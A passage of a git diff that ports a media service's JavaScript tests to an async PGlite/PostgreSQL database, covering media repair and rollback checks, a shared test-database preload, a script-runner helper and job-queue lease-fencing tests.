it).++ const h = require('openvibe-sdk/db').createDb({ pglite: true, service: 'h15-test' });++ await h.exec(`CREATE FUNCTION ov_now() RETURNS text LANGUAGE sql STABLE AS $$ SELECT to_char(statement_timestamp() AT TIME ZONE 'UTC', 'YYYY-MM-DD HH24:MI:SS') $$;++ CREATE TABLE media_objects (id text PRIMARY KEY, size_bytes bigint, content_hash text, lifecycle_status text, updated_at text);++ CREATE TABLE media_locations (id bigint GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY, object_id text, provider text, key text, state text, size_bytes bigint, verified_at text, updated_at text);`);++ await h.prepare("INSERT INTO media_objects VALUES ('med_1', 13631488, NULL, 'ready', NULL), ('med_3', 262144, NULL, 'ready', NULL), ('med_2', 0, NULL, 'ready', NULL)").run();++ await h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_1', 'b2', 'vods/a.webm', 'corrupt', 14609471), ('med_3', 'b2', 'vods/b.webm', 'corrupt', 218283), ('med_2', 'local', '/x.jpg', 'missing', NULL) RETURNING id").run();--const c1 = apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });--assert.deepStrictEqual(c1.old, { size_bytes: 13631488, content_hash: null, location_state: 'corrupt', location_size: 14609471 });--assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 14609471, content_hash: 'f'.repeat(64) });--assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get().state, 'present');--assert.match(apply(h, plan(vod(), { b2: good }), { size: 1, sha256: 'e'.repeat(64) }).skipped, /changed since/, 'a second run finds the row moved on');++ const c1 = await apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });++ assert.deepStrictEqual(c1.old, { size_bytes: 13631488, content_hash: null, location_state: 'corrupt', location_size: 14609471 });++ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 14609471, content_hash: 'f'.repeat(64) });++ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get()).state, 'present');++ assert.match((await apply(h, plan(vod(), { b2: good }), { size: 1, sha256: 'e'.repeat(64) })).skipped, /changed since/, 'a second run finds the row moved on');--const c3 = apply(h, { object_id: 'med_3', action: 'failed_recording', provider: 'b2' });--assert.strictEqual(h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get().lifecycle_status, 'failed');++ const c3 = await apply(h, { object_id: 'med_3', action: 'failed_recording', provider: 'b2' });++ assert.strictEqual((await h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get()).lifecycle_status, 'failed');--const c2 = apply(h, plan(shot), { size: 5120, sha256: 'a'.repeat(64) });--assert.strictEqual(c2.new.location_state, 'present');--assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_2'").get().state, 'present');++ const c2 = await apply(h, plan(shot), { size: 5120, sha256: 'a'.repeat(64) });++ assert.strictEqual(c2.new.location_state, 'present');++ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_2'").get()).state, 'present');--for (const c of [c1, c2, c3]) assert.strictEqual(rollback(h, c).restored, true);--assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 13631488, content_hash: null, lifecycle_status: 'ready' });--assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get().state, 'corrupt');--assert.strictEqual(h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get().lifecycle_status, 'ready');--assert.strictEqual(rollback(h, c1).skipped, 'the row changed since', 'rolling back twice changes nothing');++ for (const c of [c1, c2, c3]) assert.strictEqual((await rollback(h, c)).restored, true);++ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = 'med_1'").get(), { size_bytes: 13631488, content_hash: null, lifecycle_status: 'ready' });++ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_1'").get()).state, 'corrupt');++ assert.strictEqual((await h.prepare("SELECT lifecycle_status FROM media_objects WHERE id = 'med_3'").get()).lifecycle_status, 'ready');++ assert.strictEqual((await rollback(h, c1)).skipped, 'the row changed since', 'rolling back twice changes nothing');--// ── resize: the copy is the object (same hash), only the recorded size went stale again ──--// (2026-09-26: a projection from the legacy vods row put the mid-upload size back after the rebaseline.)--const HASH = 'b'.repeat(64);--const reverted = vod({ object_id: 'med_4', content_hash: HASH, legacy_ref: 'legacy:live:vod:939', size_bytes: 63708377, locations: [{ provider: 'b2', key: 'vods/c.webm', state: 'corrupt', size_bytes: 63803675 }] });--const r4 = plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: HASH } });--assert.strictEqual(r4.action, 'resize');--assert.match(r4.reason, /hashes to the object's content_hash/);--assert.strictEqual(plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: 'c'.repeat(64) } }).action, 'lost', 'other bytes than the hash: real corruption, never resized');--assert.strictEqual(plan(reverted, { b2: good }).action, 'lost', 'no download, no resize');--h.exec('CREATE TABLE vods (id INTEGER PRIMARY KEY, file_size INTEGER)');--h.prepare("INSERT INTO vods VALUES (939, 63708377), (1277, 13631488)").run();--h.prepare("INSERT INTO media_objects VALUES ('med_4', 63708377, ?, 'ready', NULL)").run(HASH);--h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_4', 'b2', 'vods/c.webm', 'corrupt', 63803675)").run();--assert.match(apply(h, r4, { size: 63803675, sha256: 'c'.repeat(64) }).skipped, /does not hash/, 'resize writes only bytes that match the hash');--const c4 = apply(h, r4, { size: 63803675, sha256: HASH });--assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63803675, content_hash: HASH });--assert.strictEqual(h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_4'").get().state, 'present');--assert.strictEqual(h.prepare('SELECT file_size FROM vods WHERE id = 939').get().file_size, 63803675, 'the legacy row agrees, so its projection cannot undo the repair');--assert.deepStrictEqual([c4.old.legacy_file_size, c4.new.legacy_file_size], [63708377, 63803675]);--// A rebaseline writes the legacy row too.--const c5 = apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });--assert.strictEqual(h.prepare('SELECT file_size FROM vods WHERE id = 1277').get().file_size, 14609471);--for (const c of [c4, c5]) assert.strictEqual(rollback(h, c).restored, true);--assert.deepStrictEqual(h.prepare('SELECT id, file_size FROM vods ORDER BY id').all(), [{ id: 939, file_size: 63708377 }, { id: 1277, file_size: 13631488 }], 'rollback restores the legacy rows');--assert.deepStrictEqual(h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63708377, content_hash: HASH });++ // ── resize: the copy is the object (same hash), only the recorded size went stale again ──++ // (2026-09-26: a projection from the legacy vods row put the mid-upload size back after the rebaseline.)++ const HASH = 'b'.repeat(64);++ const reverted = vod({ object_id: 'med_4', content_hash: HASH, legacy_ref: 'legacy:live:vod:939', size_bytes: 63708377, locations: [{ provider: 'b2', key: 'vods/c.webm', state: 'corrupt', size_bytes: 63803675 }] });++ const r4 = plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: HASH } });++ assert.strictEqual(r4.action, 'resize');++ assert.match(r4.reason, /hashes to the object's content_hash/);++ assert.strictEqual(plan(reverted, { b2: good }, { b2: { size: 63803675, sha256: 'c'.repeat(64) } }).action, 'lost', 'other bytes than the hash: real corruption, never resized');++ assert.strictEqual(plan(reverted, { b2: good }).action, 'lost', 'no download, no resize');++ h.exec('CREATE TABLE vods (id INTEGER PRIMARY KEY, file_size INTEGER)');++ await h.prepare("INSERT INTO vods VALUES (939, 63708377), (1277, 13631488) RETURNING id").run();++ await h.prepare("INSERT INTO media_objects VALUES ('med_4', 63708377, ?, 'ready', NULL)").run(HASH);++ await h.prepare("INSERT INTO media_locations (object_id, provider, key, state, size_bytes) VALUES ('med_4', 'b2', 'vods/c.webm', 'corrupt', 63803675) RETURNING id").run();++ assert.match((await apply(h, r4, { size: 63803675, sha256: 'c'.repeat(64) })).skipped, /does not hash/, 'resize writes only bytes that match the hash');++ const c4 = await apply(h, r4, { size: 63803675, sha256: HASH });++ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63803675, content_hash: HASH });++ assert.strictEqual((await h.prepare("SELECT state FROM media_locations WHERE object_id = 'med_4'").get()).state, 'present');++ assert.strictEqual((await h.prepare('SELECT file_size FROM vods WHERE id = 939').get()).file_size, 63803675, 'the legacy row agrees, so its projection cannot undo the repair');++ assert.deepStrictEqual([c4.old.legacy_file_size, c4.new.legacy_file_size], [63708377, 63803675]);++ // A rebaseline writes the legacy row too.++ const c5 = await apply(h, plan(vod(), { b2: good }), { size: 14609471, sha256: 'f'.repeat(64) });++ assert.strictEqual((await h.prepare('SELECT file_size FROM vods WHERE id = 1277').get()).file_size, 14609471);++ for (const c of [c4, c5]) assert.strictEqual((await rollback(h, c)).restored, true);++ assert.deepStrictEqual(await h.prepare('SELECT id, file_size FROM vods ORDER BY id').all(), [{ id: 939, file_size: 63708377 }, { id: 1277, file_size: 13631488 }], 'rollback restores the legacy rows');++ assert.deepStrictEqual(await h.prepare("SELECT size_bytes, content_hash FROM media_objects WHERE id = 'med_4'").get(), { size_bytes: 63708377, content_hash: HASH });--console.log('h15 repair: all checks passed');++ console.log('h15 repair: all checks passed');++})().catch((err) => { console.error(err); process.exit(1); });nnew file mode 100644@@@ -0,0 +1,20 @@++// Loaded with `node --import` into every test process (test/run.js): one migrated database for the process (ADR-035),++// PGlite by default or, with MEDIA_TEST_STORE=pg (npm run test:pg), the PostgreSQL + PgBouncer containers with roles++// and a schema of its own. server/db/database.js getDb() takes it on first use, so test files open no database++// themselves; the process ends with the test (a container schema is dropped by `scripts/test-services.sh down`).++import { createRequire } from 'node:module';++import path from 'node:path';++import { fileURLToPath } from 'node:url';++++const require = createRequire(import.meta.url);++const root = path.join(path.dirname(fileURLToPath(import.meta.url)), '..', '..');++const { createTestDb } = require('openvibe-sdk/testing');++const t = await createTestDb({ migrations: path.join(root, 'migrations'), store: process.env.MEDIA_TEST_STORE || 'pglite', service: 'media', max: 4 });++// Tests insert rows with small explicit ids (SQLite's AUTOINCREMENT then continued after them; a PostgreSQL identity++// does not): generated ids start at 100000 here, clear of every id a test names.++for (const r of await t.db.prepare(`SELECT pg_get_serial_sequence(quote_ident(table_name), column_name) AS seq FROM information_schema.columns++ WHERE table_schema = current_schema() AND is_identity = 'YES'`).all()) {++ if (r.seq) await t.db.prepare('SELECT setval(?::regclass, 100000)').get(r.seq);++}++globalThis.__ovMediaTestDb = t.db;++globalThis.__ovMediaTestDbClose = t.close;nnew file mode 100644@@@ -0,0 +1,42 @@++'use strict';++/**++ * Runs an operator script (scripts/*.js) inside this test process, on this process's database (a test database is++ * PGlite in the process: a child process could not reach it). argv is set, stdout/stderr are captured, and++ * process.exit is intercepted: → { code, out, err }. Module state stays as the script left it, as in a real run.++ */++const path = require('path');++++class ScriptExit extends Error { constructor(code) { super(`exit ${code}`); this.code = code; } }++++async function runScript(file, args = [], { env = {} } = {}) {++ const saved = { argv: process.argv, exit: process.exit, log: console.log, error: console.error, warn: console.warn, write: process.stdout.write, ewrite: process.stderr.write, env: { ...process.env } };++ let out = ''; let err = ''; let code = null; let resolve;++ const finished = new Promise((r) => { resolve = r; });++ const swallow = (reason) => { if (!(reason instanceof ScriptExit)) { err += `${(reason && reason.stack) || reason}\n`; if (code === null) { code = 1; resolve(); } } };++ process.on('unhandledRejection', swallow);++ process.argv = [saved.argv[0], path.resolve(file), ...args];++ Object.assign(process.env, env);++ console.log = (...a) => { out += `${a.join(' ')}\n`; };++ console.error = console.warn = (...a) => { if (a.some((x) => x instanceof ScriptExit)) return; err += `${a.join(' ')}\n`; }; // not the script's .catch of our exit++ process.stdout.write = (c) => { out += c; return true; };++ process.stderr.write = (c) => { err += c; return true; };++ process.exit = (c = 0) => { if (code === null) { code = c; resolve(); } throw new ScriptExit(c); };++ const mainBefore = process.mainModule;++ try {++ delete require.cache[require.resolve(path.resolve(file))];++ // As the main module, so a script's `require.main === module` CLI part runs.++ require('module')._load(path.resolve(file), null, true);++ } catch (e) { if (!(e instanceof ScriptExit)) { err += `${e.stack}\n`; if (code === null) { code = 1; resolve(); } } }++ await finished;++ await new Promise((r) => setImmediate(r)); // the script's own .catch after the intercepted exit++ process.mainModule = mainBefore;++ process.argv = saved.argv; process.exit = saved.exit;++ console.log = saved.log; console.error = saved.error; console.warn = saved.warn;++ process.stdout.write = saved.write; process.stderr.write = saved.ewrite;++ for (const k of Object.keys(process.env)) if (!(k in saved.env)) delete process.env[k];++ Object.assign(process.env, saved.env);++ process.off('unhandledRejection', swallow);++ return { code, out, err };++}++++module.exports = { runScript };@@@ -10,153 +10,144 @@ const fs = require('fs');const os = require('os');const path = require('path');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-fencing-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_JOBS_POLL_MS = '50';--process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-fencing-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_JOBS_POLL_MS = '50';++ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';--const sleep = (ms) => new Promise((r) => setTimeout(r, ms));--const waitFor = async (fn, ms = 8000) => {-- const end = Date.now() + ms;-- while (Date.now() < end) { if (await fn()) return true; await sleep(20); }-- return false;--};++ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));++ const waitFor = async (fn, ms = 8000) => {++ const end = Date.now() + ms;++ while (Date.now() < end) { if (await fn()) return true; await sleep(20); }++ return false;++ };--(async () => {-- const db = require('../server/db/database');-- const raw = () => db.getDb();++ (async () => {++ const db = require('../server/db/database');++ const raw = () => db.getDb();-- // ── 1. Additive migration: an older database gains lease_token; its NULL-token running job is recovered ──-- raw();-- db.close();-- {-- const Database = require('better-sqlite3');-- const old = new Database(process.env.DB_PATH);-- old.exec('ALTER TABLE media_jobs DROP COLUMN lease_token');-- old.exec(`INSERT INTO media_jobs (id, app_id, job_type, status, attempts, max_attempts, lease_until)-- VALUES ('mjob_prefence', 'live', 'test.fence', 'running', 1, 3, datetime('now', '+1 hour'))`);-- old.close();-- }-- const cols = raw().prepare('PRAGMA table_info(media_jobs)').all().map((c) => c.name);-- assert.ok(cols.includes('lease_token'), 'lease_token is added to an older media_jobs');-- assert.strictEqual(db.get("SELECT lease_token FROM media_jobs WHERE id = 'mjob_prefence'").lease_token, null);++ // ── 1. A running job with no lease token (claimed before fencing existed) is still recovered ──++ await db.run(`INSERT INTO media_jobs (id, app_id, job_type, status, attempts, max_attempts, lease_until, lease_token)++ VALUES ('mjob_prefence', 'live', 'test.fence', 'running', 1, 3, datetime('now', '+1 hour'), NULL)`);-- const queue = require('../server/jobs/queue');-- queue.register('test.fence', { lane: 'light', maxAttempts: 3, run: async () => ({ ok: true }) });-- assert.strictEqual(queue.recoverInterrupted({ all: true }), 1, 'a job a pre-fencing process left running (NULL token) is recovered at boot');-- assert.deepStrictEqual([queue.get('mjob_prefence').status, queue.get('mjob_prefence').error_code], ['queued', 'interrupted']);-- queue.cancel('mjob_prefence', { by: 'test' });-- console.log('✅ lease_token is ADD COLUMN on an older database; a NULL-token running job is still recovered at boot');++ const queue = require('../server/jobs/queue');++ queue.register('test.fence', { lane: 'light', maxAttempts: 3, run: async () => ({ ok: true }) });++ assert.strictEqual(await queue.recoverInterrupted({ all: true }), 1, 'a job a pre-fencing process left running (NULL token) is recovered at boot');++ assert.deepStrictEqual([(await queue.get('mjob_prefence')).status, (await queue.get('mjob_prefence')).error_code], ['queued', 'interrupted']);++ await queue.cancel('mjob_prefence', { by: 'test' });++ console.log('✅ a NULL-token running job is still recovered at boot');-- // ── 2. Two claimants ──-- const refused = [];-- queue.bus.on('stale', (e) => refused.push(e));-- const metrics = require('openvibe-shared/metrics').createRegistry();-- require('../server/observability').domainMetrics(metrics, { db, recorder: { activeCount: () => 0 }, events: require('../server/events') });-- const metric = (action) => metrics.getMetric('media_job_stale_completions_total').get({ action });-- const warnings = [];-- const warn = console.warn;-- console.warn = (...a) => { warnings.push(a.join(' ')); };++ // ── 2. Two claimants ──++ const refused = [];++ queue.bus.on('stale', (e) => refused.push(e));++ const metrics = require('openvibe-shared/metrics').createRegistry();++ require('../server/observability').domainMetrics(metrics, { db, recorder: { activeCount: () => 0 }, events: require('../server/events') });++ const metric = (action) => metrics.getMetric('media_job_stale_completions_total').get({ action });++ const warnings = [];++ const warn = console.warn;++ console.warn = (...a) => { warnings.push(a.join(' ')); };-- const changes = [];-- queue.bus.on('change', (row) => changes.push({ id: row.id, status: row.status }));-- const { job } = queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' });-- const a = queue.claim(['test.fence'], { leaseS: 30 });-- assert.strictEqual(a.id, job.id);-- assert.match(a.lease_token, /^[0-9a-f]{32}$/, 'a claim writes a random token');-- assert.ok(!('lease_token' in queue.jobPublic(a)), 'the token never leaves the service');-- assert.strictEqual(queue.renew(job.id, { leaseS: 30, token: a.lease_token }).held, true, 'the holder renews');++ const changes = [];++ queue.bus.on('change', (row) => changes.push({ id: row.id, status: row.status }));++ const { job } = await queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' });++ const a = await queue.claim(['test.fence'], { leaseS: 30 });++ assert.strictEqual(a.id, job.id);++ assert.match(a.lease_token, /^[0-9a-f]{32}$/, 'a claim writes a random token');++ assert.ok(!('lease_token' in queue.jobPublic(a)), 'the token never leaves the service');++ assert.strictEqual((await queue.renew(job.id, { leaseS: 30, token: a.lease_token })).held, true, 'the holder renews');-- // A stalls: its lease runs out, recovery takes the job over, B claims it.-- raw().prepare("UPDATE media_jobs SET lease_until = datetime('now', '-1 minute') WHERE id = ?").run(job.id);-- assert.strictEqual(queue.recoverInterrupted({ except: new Set() }), 1);-- assert.deepStrictEqual([queue.get(job.id).status, queue.get(job.id).lease_token], ['queued', null]);-- raw().prepare('UPDATE media_jobs SET run_after = NULL WHERE id = ?').run(job.id);-- const b = queue.claim(['test.fence'], { leaseS: 30 });-- assert.strictEqual(b.id, job.id);-- assert.notStrictEqual(b.lease_token, a.lease_token, 'the second claim has its own token');-- assert.strictEqual(b.attempts, 2);++ // A stalls: its lease runs out, recovery takes the job over, B claims it.++ await raw().prepare("UPDATE media_jobs SET lease_until = datetime('now', '-1 minute') WHERE id = ?").run(job.id);++ assert.strictEqual(await queue.recoverInterrupted({ except: new Set() }), 1);++ assert.deepStrictEqual([(await queue.get(job.id)).status, (await queue.get(job.id)).lease_token], ['queued', null]);++ await raw().prepare('UPDATE media_jobs SET run_after = NULL WHERE id = ?').run(job.id);++ const b = await queue.claim(['test.fence'], { leaseS: 30 });++ assert.strictEqual(b.id, job.id);++ assert.notStrictEqual(b.lease_token, a.lease_token, 'the second claim has its own token');++ assert.strictEqual(b.attempts, 2);-- // A comes back: everything it writes is refused.-- assert.strictEqual(queue.renew(job.id, { leaseS: 30, token: a.lease_token }).held, false, "A's heartbeat is refused");-- raw().exec('CREATE TABLE IF NOT EXISTS fence_probe (x TEXT)');-- assert.throws(() => queue.saveCheckpoint(job.id, { by: 'A' }, () => raw().prepare("INSERT INTO fence_probe VALUES ('A')").run(), { token: a.lease_token }),-- (err) => err.code === 'media.job.lease_lost');-- assert.strictEqual(raw().prepare('SELECT COUNT(*) AS n FROM fence_probe').get().n, 0, "what A's checkpoint wrote alongside rolled back");-- assert.strictEqual(queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null, "A's completion is refused");-- assert.strictEqual(queue.fail(job.id, { message: 'A gave up', token: a.lease_token }), null, "so is A's failure");-- assert.strictEqual(queue.markCancelled(job.id, { token: a.lease_token }), null, 'and its cancel');-- let now = queue.get(job.id);-- assert.deepStrictEqual([now.status, now.result, now.checkpoint, now.lease_token], ['running', null, null, b.lease_token], "B's job is untouched");-- assert.throws(() => queue.succeed(job.id, { by: '?' }), /needs the claim's \{ token \}/, 'a completion without a token is a programming error');++ // A comes back: everything it writes is refused.++ assert.strictEqual((await queue.renew(job.id, { leaseS: 30, token: a.lease_token })).held, false, "A's heartbeat is refused");++ // (The probe row goes in an existing table: the service role creates none.)++ await assert.rejects(async () => await queue.saveCheckpoint(job.id, { by: 'A' }, async () => await raw().prepare("INSERT INTO media_settings (key, value) VALUES ('fence_probe', 'A')").run(), { token: a.lease_token }),++ (err) => err.code === 'media.job.lease_lost');++ assert.strictEqual((await raw().prepare("SELECT COUNT(*) AS n FROM media_settings WHERE key = 'fence_probe'").get()).n, 0, "what A's checkpoint wrote alongside rolled back");++ assert.strictEqual(await queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null, "A's completion is refused");++ assert.strictEqual(await queue.fail(job.id, { message: 'A gave up', token: a.lease_token }), null, "so is A's failure");++ assert.strictEqual(await queue.markCancelled(job.id, { token: a.lease_token }), null, 'and its cancel');++ let now = await queue.get(job.id);++ assert.deepStrictEqual([now.status, now.result, now.checkpoint, now.lease_token], ['running', null, null, b.lease_token], "B's job is untouched");++ await assert.rejects(async () => await queue.succeed(job.id, { by: '?' }), /needs the claim's \{ token \}/, 'a completion without a token is a programming error');-- // B finishes; A's late completion is refused again and B's result stands.-- assert.strictEqual(queue.renew(job.id, { leaseS: 30, token: b.lease_token }).held, true);-- queue.saveCheckpoint(job.id, { by: 'B' }, null, { token: b.lease_token });-- const done = queue.succeed(job.id, { by: 'B' }, { token: b.lease_token });-- assert.deepStrictEqual([done.status, JSON.parse(done.result), done.lease_token], ['succeeded', { by: 'B' }, null]);-- assert.strictEqual(queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null);-- now = queue.get(job.id);-- assert.deepStrictEqual([now.status, JSON.parse(now.result)], ['succeeded', { by: 'B' }], "B's result stands");-- assert.deepStrictEqual(changes.filter((r) => r.id === job.id).map((r) => r.status), ['queued', 'running', 'queued', 'running', 'succeeded'],-- 'claimed by A, taken back by recovery, claimed by B, succeeded once (B); nothing from A');++ // B finishes; A's late completion is refused again and B's result stands.++ assert.strictEqual((await queue.renew(job.id, { leaseS: 30, token: b.lease_token })).held, true);++ await queue.saveCheckpoint(job.id, { by: 'B' }, null, { token: b.lease_token });++ const done = await queue.succeed(job.id, { by: 'B' }, { token: b.lease_token });++ assert.deepStrictEqual([done.status, JSON.parse(done.result), done.lease_token], ['succeeded', { by: 'B' }, null]);++ assert.strictEqual(await queue.succeed(job.id, { by: 'A' }, { token: a.lease_token }), null);++ now = await queue.get(job.id);++ assert.deepStrictEqual([now.status, JSON.parse(now.result)], ['succeeded', { by: 'B' }], "B's result stands");++ assert.deepStrictEqual(changes.filter((r) => r.id === job.id).map((r) => r.status), ['queued', 'running', 'queued', 'running', 'succeeded'],++ 'claimed by A, taken back by recovery, claimed by B, succeeded once (B); nothing from A');-- assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'every refusal is counted');-- assert.deepStrictEqual(refused.map((e) => e.action), ['renew', 'checkpoint', 'succeed', 'fail', 'cancel', 'succeed']);-- assert.deepStrictEqual(['succeed', 'fail', 'cancel', 'renew', 'checkpoint'].map(metric), [2, 1, 1, 1, 1], 'media_job_stale_completions_total');-- assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('another claim holds it')), warnings.join('\n'));-- assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('it is succeeded now')));-- console.warn = warn;-- console.log('✅ two claimants: the stale holder\'s heartbeat, checkpoint and completion are refused (logged, counted); the current holder\'s stand');++ assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'every refusal is counted');++ assert.deepStrictEqual(refused.map((e) => e.action), ['renew', 'checkpoint', 'succeed', 'fail', 'cancel', 'succeed']);++ assert.deepStrictEqual(['succeed', 'fail', 'cancel', 'renew', 'checkpoint'].map(metric), [2, 1, 1, 1, 1], 'media_job_stale_completions_total');++ assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('another claim holds it')), warnings.join('\n'));++ assert.ok(warnings.some((w) => w.includes(`refused a stale succeed of ${job.id}`) && w.includes('it is succeeded now')));++ console.warn = warn;++ console.log('✅ two claimants: the stale holder\'s heartbeat, checkpoint and completion are refused (logged, counted); the current holder\'s stand');-- // ── 3. Recovery does not take a job whose holder renewed meanwhile ──-- const second = queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' }).job;-- const c = queue.claim(['test.fence'], { leaseS: 30 });-- assert.strictEqual(c.id, second.id);-- const seen = raw().prepare('SELECT * FROM media_jobs WHERE id = ?').get(second.id);-- queue.renew(second.id, { leaseS: 30, token: c.lease_token }); // the lease is live again-- assert.strictEqual(queue.fail(second.id, { message: 'x', code: 'interrupted', retryInS: 0, token: seen.lease_token, takeover: true, expired: true }), null,-- 'a takeover needs the lease to have run out');-- assert.strictEqual(queue.get(second.id).status, 'running');-- assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'a declined takeover is not a stale completion');-- assert.ok(queue.succeed(second.id, { ok: 1 }, { token: c.lease_token }));-- console.log('✅ a takeover is fenced on the token it read and on the lease still being expired');++ // ── 3. Recovery does not take a job whose holder renewed meanwhile ──++ const second = (await queue.enqueue({ appId: 'live', type: 'test.fence', createdBy: 'test' })).job;++ const c = await queue.claim(['test.fence'], { leaseS: 30 });++ assert.strictEqual(c.id, second.id);++ const seen = await raw().prepare('SELECT * FROM media_jobs WHERE id = ?').get(second.id);++ await queue.renew(second.id, { leaseS: 30, token: c.lease_token }); // the lease is live again++ assert.strictEqual(await queue.fail(second.id, { message: 'x', code: 'interrupted', retryInS: 0, token: seen.lease_token, takeover: true, expired: true }), null,++ 'a takeover needs the lease to have run out');++ assert.strictEqual((await queue.get(second.id)).status, 'running');++ assert.deepStrictEqual(queue.staleStats(), { succeed: 2, fail: 1, cancel: 1, renew: 1, checkpoint: 1 }, 'a declined takeover is not a stale completion');++ assert.ok(await queue.succeed(second.id, { ok: 1 }, { token: c.lease_token }));++ console.log('✅ a takeover is fenced on the token it read and on the lease still being expired');-- // ── 4. The worker: a heartbeat that finds its job taken aborts the handler; its report is refused ──-- const worker = require('../server/jobs/worker');-- let started = null, sawAbort = null;-- queue.register('test.slowfence', {-- lane: 'light', maxAttempts: 3,-- run: (j, ctx) => new Promise((resolve, reject) => {-- started = j.id;-- ctx.signal.addEventListener('abort', () => { sawAbort = ctx.signal.reason; reject(ctx.signal.reason); });-- }),-- });-- require('../server/config').jobs.leaseS = 3; // a heartbeat every second (the floor from the environment is 30 s)-- const slow = queue.enqueue({ appId: 'live', type: 'test.slowfence', createdBy: 'test' }).job;-- worker.start();-- assert.ok(await waitFor(() => started === slow.id && queue.get(slow.id).status === 'running'), 'the worker runs it');-- // Another claimant takes it over (as another process would after the lease ran out).-- const theirs = 'f'.repeat(32);-- raw().prepare('UPDATE media_jobs SET lease_token = ? WHERE id = ?').run(theirs, slow.id);-- assert.ok(await waitFor(() => sawAbort !== null, 5000), 'the heartbeat notices and aborts the handler');-- assert.strictEqual(sawAbort.code, 'media.job.lease_lost');-- await waitFor(() => queue.staleStats().fail === 2);-- const after = queue.get(slow.id);-- assert.deepStrictEqual([after.status, after.lease_token, after.error_code], ['running', theirs, null], "the handler's failure did not overwrite the other claim");-- assert.strictEqual(queue.staleStats().renew, 2);-- worker.stop();-- console.log('✅ the worker aborts a job whose lease it lost, and its failure is refused');++ // ── 4. The worker: a heartbeat that finds its job taken aborts the handler; its report is refused ──++ const worker = require('../server/jobs/worker');++ let started = null, sawAbort = null;++ queue.register('test.slowfence', {++ lane: 'light', maxAttempts: 3,++ run: (j, ctx) => new Promise((resolve, reject) => {++ started = j.id;++ ctx.signal.addEventListener('abort', () => { sawAbort = ctx.signal.reason; reject(ctx.signal.reason); });++ }),++ });++ require('../server/config').jobs.leaseS = 3; // a heartbeat every second (the floor from the environment is 30 s)++ const slow = (await queue.enqueue({ appId: 'live', type: 'test.slowfence', createdBy: 'test' })).job;++ await worker.start();++ assert.ok(await waitFor(async () => started === slow.id && (await queue.get(slow.id)).status === 'running'), 'the worker runs it');++ // Another claimant takes it over (as another process would after the lease ran out).++ const theirs = 'f'.repeat(32);++ await raw().prepare('UPDATE media_jobs SET lease_token = ? WHERE id = ?').run(theirs, slow.id);++ assert.ok(await waitFor(() => sawAbort !== null, 5000), 'the heartbeat notices and aborts the handler');++ 